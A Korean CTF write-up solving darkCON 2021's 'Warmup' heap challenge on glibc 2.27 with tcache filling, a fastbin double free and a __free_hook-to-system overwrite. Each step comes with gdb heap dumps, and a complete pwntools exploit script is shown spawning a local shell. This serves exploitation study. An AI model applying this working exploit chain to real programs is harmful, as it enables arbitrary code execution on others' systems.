요약
이번에 문제를 풀면서 할당할때 fastbin이나 tcache가 들어가는게 아닌,
free할때 들어가는것을 깨달았다. (이때까지 잘못 알고 있었네ㅠ)
- Fill up tcache, alloc10번 & (처음 기준) free7번
- fastbin_dup (Trigger DFB bug)
- empty_tcache (alloc 7번)
1st alloc – (free_hook 포인터 주소)AAW할 주소 대상으로 씀.
2nd alloc – 더미로 씀.
3rd alloc – (/bin/sh) 값을 씀.
4th alloc – (system 함수 주소)AAW 덮을 값으로 씀.
- 이제 /bin/sh가 적힌 청크로 free시키면 쉘 획득.
환경
우분투 18.04 / GLIBC 2.27-3ubuntu1.6
Source
https://github.com/sajjadium/ctf-archives/tree/main/ctfs/darkCON/2021/pwn/Warmup
checksec
seo@ubuntu:~/study/warmup$ checksec ./a.out [!] Could not populate PLT: future feature annotations is not defined (unicorn.py, line 5) [*] '/home/seo/study/warmup/a.out' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)
1. Fill up tcache, alloc10 & free7
tcache를 채우기 위해 alloc(0x20)을 10번한다음, free를 처음기준 7번해준다.
alloc10
for i in range(10): create(i, 0x20, b"A"*8)
- Result

gdb-peda$ parseheap addr prev size status fd bk 0x603000 0x0 0x250 Used None None 0x603250 0x0 0x20 Used None None 0x603270 0x0 0x20 Used None None 0x603290 0x0 0x20 Used None None 0x6032b0 0x0 0x20 Used None None 0x6032d0 0x0 0x20 Used None None 0x6032f0 0x0 0x20 Used None None 0x603310 0x0 0x20 Used None None 0x603330 0x0 0x20 Used None None 0x603350 0x0 0x20 Used None None 0x603370 0x0 0x20 Used None None 0x603390 0x0 0x20 Used None None gdb-peda$ heapinfo (0x20) fastbin[0]: 0x0 (0x30) fastbin[1]: 0x0 (0x40) fastbin[2]: 0x0 (0x50) fastbin[3]: 0x0 (0x60) fastbin[4]: 0x0 (0x70) fastbin[5]: 0x0 (0x80) fastbin[6]: 0x0 (0x90) fastbin[7]: 0x0 (0xa0) fastbin[8]: 0x0 (0xb0) fastbin[9]: 0x0 top: 0x6033b0 (size : 0x20c50) last_remainder: 0x0 (size : 0x0) unsortbin: 0x0 gdb-peda$
free7
for i in range(7): delete(i)
- Result

gdb-peda$ parseheap addr prev size status fd bk 0x603000 0x0 0x250 Used None None 0x603250 0x0 0x20 Used None None 0x603270 0x0 0x20 Freed 0x0 None 0x603290 0x0 0x20 Freed 0x603280 None 0x6032b0 0x0 0x20 Freed 0x6032a0 None 0x6032d0 0x0 0x20 Freed 0x6032c0 None 0x6032f0 0x0 0x20 Freed 0x6032e0 None 0x603310 0x0 0x20 Freed 0x603300 None 0x603330 0x0 0x20 Freed 0x603320 None 0x603350 0x0 0x20 Used None None 0x603370 0x0 0x20 Used None None 0x603390 0x0 0x20 Used None None gdb-peda$ heapinfo (0x20) fastbin[0]: 0x0 (0x30) fastbin[1]: 0x0 (0x40) fastbin[2]: 0x0 (0x50) fastbin[3]: 0x0 (0x60) fastbin[4]: 0x0 (0x70) fastbin[5]: 0x0 (0x80) fastbin[6]: 0x0 (0x90) fastbin[7]: 0x0 (0xa0) fastbin[8]: 0x0 (0xb0) fastbin[9]: 0x0 top: 0x6033b0 (size : 0x20c50) last_remainder: 0x0 (size : 0x0) unsortbin: 0x0 (0x20) tcache_entry[0](7): 0x603340 --> 0x603320 --> 0x603300 --> 0x6032e0 --> 0x6032c0 --> 0x6032a0 --> 0x603280 gdb-peda$
2. fastbin_dup
1.
delete(7)
fastbin에 해당되므로 fd값이 0임.

gdb-peda$ parseheap addr prev size status fd bk 0x603000 0x0 0x250 Used None None 0x603250 0x0 0x20 Used None None 0x603270 0x0 0x20 Freed 0x0 None 0x603290 0x0 0x20 Freed 0x603280 None 0x6032b0 0x0 0x20 Freed 0x6032a0 None 0x6032d0 0x0 0x20 Freed 0x6032c0 None 0x6032f0 0x0 0x20 Freed 0x6032e0 None 0x603310 0x0 0x20 Freed 0x603300 None 0x603330 0x0 0x20 Freed 0x603320 None 0x603350 0x0 0x20 Freed 0x0 None 0x603370 0x0 0x20 Used None None 0x603390 0x0 0x20 Used None None gdb-peda$ heapinfo (0x20) fastbin[0]: 0x603350 --> 0x0 (0x30) fastbin[1]: 0x0 (0x40) fastbin[2]: 0x0 (0x50) fastbin[3]: 0x0 (0x60) fastbin[4]: 0x0 (0x70) fastbin[5]: 0x0 (0x80) fastbin[6]: 0x0 (0x90) fastbin[7]: 0x0 (0xa0) fastbin[8]: 0x0 (0xb0) fastbin[9]: 0x0 top: 0x6033b0 (size : 0x20c50) last_remainder: 0x0 (size : 0x0) unsortbin: 0x0 (0x20) tcache_entry[0](7): 0x603340 --> 0x603320 --> 0x603300 --> 0x6032e0 --> 0x6032c0 --> 0x6032a0 --> 0x603280 gdb-peda$
2.
delete(8)
free된 mem[8]에 fd값이 적힘.

gdb-peda$ parseheap addr prev size status fd bk 0x603000 0x0 0x250 Used None None 0x603250 0x0 0x20 Used None None 0x603270 0x0 0x20 Freed 0x0 None 0x603290 0x0 0x20 Freed 0x603280 None 0x6032b0 0x0 0x20 Freed 0x6032a0 None 0x6032d0 0x0 0x20 Freed 0x6032c0 None 0x6032f0 0x0 0x20 Freed 0x6032e0 None 0x603310 0x0 0x20 Freed 0x603300 None 0x603330 0x0 0x20 Freed 0x603320 None 0x603350 0x0 0x20 Freed 0x0 None 0x603370 0x0 0x20 Freed 0x603350 None 0x603390 0x0 0x20 Used None None gdb-peda$ heapinfo (0x20) fastbin[0]: 0x603370 --> 0x603350 --> 0x0 (0x30) fastbin[1]: 0x0 (0x40) fastbin[2]: 0x0 (0x50) fastbin[3]: 0x0 (0x60) fastbin[4]: 0x0 (0x70) fastbin[5]: 0x0 (0x80) fastbin[6]: 0x0 (0x90) fastbin[7]: 0x0 (0xa0) fastbin[8]: 0x0 (0xb0) fastbin[9]: 0x0 top: 0x6033b0 (size : 0x20c50) last_remainder: 0x0 (size : 0x0) unsortbin: 0x0 (0x20) tcache_entry[0](7): 0x603340 --> 0x603320 --> 0x603300 --> 0x6032e0 --> 0x6032c0 --> 0x6032a0 --> 0x603280 gdb-peda$
3.
delete(7)
다시한번 mem[7]을 free시킴 → double free됨.
따라서 mem[7] fd 값이 mem[8] 청크 주소로 쓰여짐.

gdb-peda$ parseheap addr prev size status fd bk 0x603000 0x0 0x250 Used None None 0x603250 0x0 0x20 Used None None 0x603270 0x0 0x20 Freed 0x0 None 0x603290 0x0 0x20 Freed 0x603280 None 0x6032b0 0x0 0x20 Freed 0x6032a0 None 0x6032d0 0x0 0x20 Freed 0x6032c0 None 0x6032f0 0x0 0x20 Freed 0x6032e0 None 0x603310 0x0 0x20 Freed 0x603300 None 0x603330 0x0 0x20 Freed 0x603320 None 0x603350 0x0 0x20 Freed 0x603370 None 0x603370 0x0 0x20 Freed 0x603350 None 0x603390 0x0 0x20 Used None None gdb-peda$ heapinfo (0x20) fastbin[0]: 0x603350 --> 0x603370 --> 0x603350 (overlap chunk with 0x603350(freed) ) (0x30) fastbin[1]: 0x0 (0x40) fastbin[2]: 0x0 (0x50) fastbin[3]: 0x0 (0x60) fastbin[4]: 0x0 (0x70) fastbin[5]: 0x0 (0x80) fastbin[6]: 0x0 (0x90) fastbin[7]: 0x0 (0xa0) fastbin[8]: 0x0 (0xb0) fastbin[9]: 0x0 top: 0x6033b0 (size : 0x20c50) last_remainder: 0x0 (size : 0x0) unsortbin: 0x0 (0x20) tcache_entry[0](7): 0x603340 --> 0x603320 --> 0x603300 --> 0x6032e0 --> 0x6032c0 --> 0x6032a0 --> 0x603280 gdb-peda$
3. empty tcache
for i in range(7): create(i, 0x10, b"C"*8)
이제 tcache를 비우기 위해, mem[0]~mem[6]까지 malloc(0x20) 7번 재할당해준다.

gdb-peda$ parseheap addr prev size status fd bk 0x603000 0x0 0x250 Used None None 0x603250 0x0 0x20 Used None None 0x603270 0x0 0x20 Used None None 0x603290 0x0 0x20 Used None None 0x6032b0 0x0 0x20 Used None None 0x6032d0 0x0 0x20 Used None None 0x6032f0 0x0 0x20 Used None None 0x603310 0x0 0x20 Used None None 0x603330 0x0 0x20 Used None None 0x603350 0x0 0x20 Freed 0x603370 None 0x603370 0x0 0x20 Freed 0x603350 None 0x603390 0x0 0x20 Used None None gdb-peda$ heapinfo (0x20) fastbin[0]: 0x603350 --> 0x603370 --> 0x603350 (overlap chunk with 0x603350(freed) ) (0x30) fastbin[1]: 0x0 (0x40) fastbin[2]: 0x0 (0x50) fastbin[3]: 0x0 (0x60) fastbin[4]: 0x0 (0x70) fastbin[5]: 0x0 (0x80) fastbin[6]: 0x0 (0x90) fastbin[7]: 0x0 (0xa0) fastbin[8]: 0x0 (0xb0) fastbin[9]: 0x0 top: 0x6033b0 (size : 0x20c50) last_remainder: 0x0 (size : 0x0) unsortbin: 0x0 gdb-peda$
4. Let’s AAW!
1.
create(7, 0x10, p64(free_hook))
mem[7] 주소 할당하고 free_hook 주소를 씀.
이는 추후 free_hook
주소로 다시 할당받을 예정.

gdb-peda$ parseheap addr prev size status fd bk 0x603000 0x0 0x250 Used None None 0x603250 0x0 0x20 Used None None 0x603270 0x0 0x20 Used None None 0x603290 0x0 0x20 Used None None 0x6032b0 0x0 0x20 Used None None 0x6032d0 0x0 0x20 Used None None 0x6032f0 0x0 0x20 Used None None 0x603310 0x0 0x20 Used None None 0x603330 0x0 0x20 Used None None 0x603350 0x0 0x20 Freed 0x7ffff7dcf8e8 None 0x603370 0x0 0x20 Freed 0x603360 None 0x603390 0x0 0x20 Used None None gdb-peda$ heapinfo (0x20) fastbin[0]: 0x0 (0x30) fastbin[1]: 0x0 (0x40) fastbin[2]: 0x0 (0x50) fastbin[3]: 0x0 (0x60) fastbin[4]: 0x0 (0x70) fastbin[5]: 0x0 (0x80) fastbin[6]: 0x0 (0x90) fastbin[7]: 0x0 (0xa0) fastbin[8]: 0x0 (0xb0) fastbin[9]: 0x0 top: 0x6033b0 (size : 0x20c50) last_remainder: 0x0 (size : 0x0) unsortbin: 0x0 (0x20) tcache_entry[0](3): 0x603380 --> 0x603360 --> 0x7ffff7dcf8e8 gdb-peda$
2.
mem[8], mem[9] 주소 할당하고
mem[9]에 /bin/sh 값을 씀.
create(8, 0x10, b"D"*8) create(9, 0x10, '/bin/sh\x00')

gdb-peda$ parseheap addr prev size status fd bk 0x603000 0x0 0x250 Used None None 0x603250 0x0 0x20 Used None None 0x603270 0x0 0x20 Used None None 0x603290 0x0 0x20 Used None None 0x6032b0 0x0 0x20 Used None None 0x6032d0 0x0 0x20 Used None None 0x6032f0 0x0 0x20 Used None None 0x603310 0x0 0x20 Used None None 0x603330 0x0 0x20 Used None None 0x603350 0x0 0x20 Used None None 0x603370 0x0 0x20 Used None None 0x603390 0x0 0x20 Used None None gdb-peda$ heapinfo (0x20) fastbin[0]: 0x0 (0x30) fastbin[1]: 0x0 (0x40) fastbin[2]: 0x0 (0x50) fastbin[3]: 0x0 (0x60) fastbin[4]: 0x0 (0x70) fastbin[5]: 0x0 (0x80) fastbin[6]: 0x0 (0x90) fastbin[7]: 0x0 (0xa0) fastbin[8]: 0x0 (0xb0) fastbin[9]: 0x0 top: 0x6033b0 (size : 0x20c50) last_remainder: 0x0 (size : 0x0) unsortbin: 0x0 (0x20) tcache_entry[0](1): 0x7ffff7dcf8e8 gdb-peda$
3.
이제 한번더 할당하면, free_hook 주소로 할당받게 되고,
해당 포인터 주소에 system 함수주소로 덮어씀.
create(10, 0x10, p64(system))

4.
delete(9)
이후 인덱스9에 /bin/sh 값이 적혔던 청크를 할당 해제하게 되면,
쉘을 획득할 수 있음.
solve.py
from pwn import * # context.log_level = 'debug' context(arch='amd64', os='linux') warnings.filterwarnings('ignore') p = process("./a.out") e = ELF('./a.out',checksec=False) l = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False) s = lambda str: p.send(str) sl = lambda str: p.sendline(str) sa = lambda delims, str: p.sendafter(delims, str) sla = lambda delims, str: p.sendlineafter(delims, str) r = lambda numb=4096: p.recv(numb) rl = lambda: p.recvline() ru = lambda delims: p.recvuntil(delims) uu32 = lambda data: u32(data.ljust(4, b"\x00")) uu64 = lambda data: u64(data.ljust(8, b"\x00")) li = lambda str, data: log.success(str + "========>" + hex(data)) ip = lambda: input() pi = lambda: p.interactive() def create(idx, size, data): sla(b"[3] - exit\n", b"1") sla("index: ", str(idx)) sla("size: ", str(size)) sla(b"input: ", data) def delete(idx): sla(b"[3] - exit\n", b"2") sla("index: ", str(idx)) def exit(): sla(b"[3] - exit\n", b"3") ru(b"gift: ") leak = rl().split(b"\n")[0] leak = int(leak, 16) info(f"leak: {hex(leak)}") l.address = leak - 0xb6200 info(f"libc base: {hex(l.address)}") free_hook = l.sym.__free_hook info("free_hook: " + hex(free_hook)) system = l.sym.system info("system: " + hex(system)) # Fill up tcache, alloc10 & free7 for i in range(10): create(i, 0x10, b"A"*8) for i in range(7): delete(i) #fastbin_dup delete(7) delete(8) delete(7) #empty tcache for i in range(7): create(i, 0x10, b"C"*8) #Let's AAW! create(7, 0x10, p64(free_hook)) create(8, 0x10, b"D"*8) create(9, 0x10, '/bin/sh\x00') create(10, 0x10, p64(system)) delete(9) pi()
Result
seo@ubuntu:~/study/warmup$ python3 solve2.py [+] Starting local process './a.out': pid 14824 [!] Could not populate PLT: future feature annotations is not defined (unicorn.py, line 5) [!] Could not populate PLT: future feature annotations is not defined (unicorn.py, line 5) [*] leak: 0x7ffff7a98200 [*] libc base: 0x7ffff79e2000 [*] free_hook: 0x7ffff7dcf8e8 [*] system: 0x7ffff7a31420 [*] Switching to interactive mode $ id uid=1000(seo) gid=1000(seo) groups=1000(seo),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),116(lpadmin),126(sambashare) $ whoami seo $ uname -a Linux ubuntu 5.4.0-150-generic #167~18.04.1-Ubuntu SMP Wed May 24 00:51:42 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux $ ./libc.so.6 GNU C Library (Ubuntu GLIBC 2.27-3ubuntu1.6) stable release version 2.27. Copyright (C) 2018 Free Software Foundation, Inc. This is free software; see the source for copying conditions. There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. Compiled by GNU CC version 7.5.0. libc ABIs: UNIQUE IFUNC For bug reporting instructions, please see: <https://bugs.launchpad.net/ubuntu/+source/glibc/+bugs>. $ [*] Interrupted [*] Stopped process './a.out' (pid 14824) seo@ubuntu:~/study/warmup$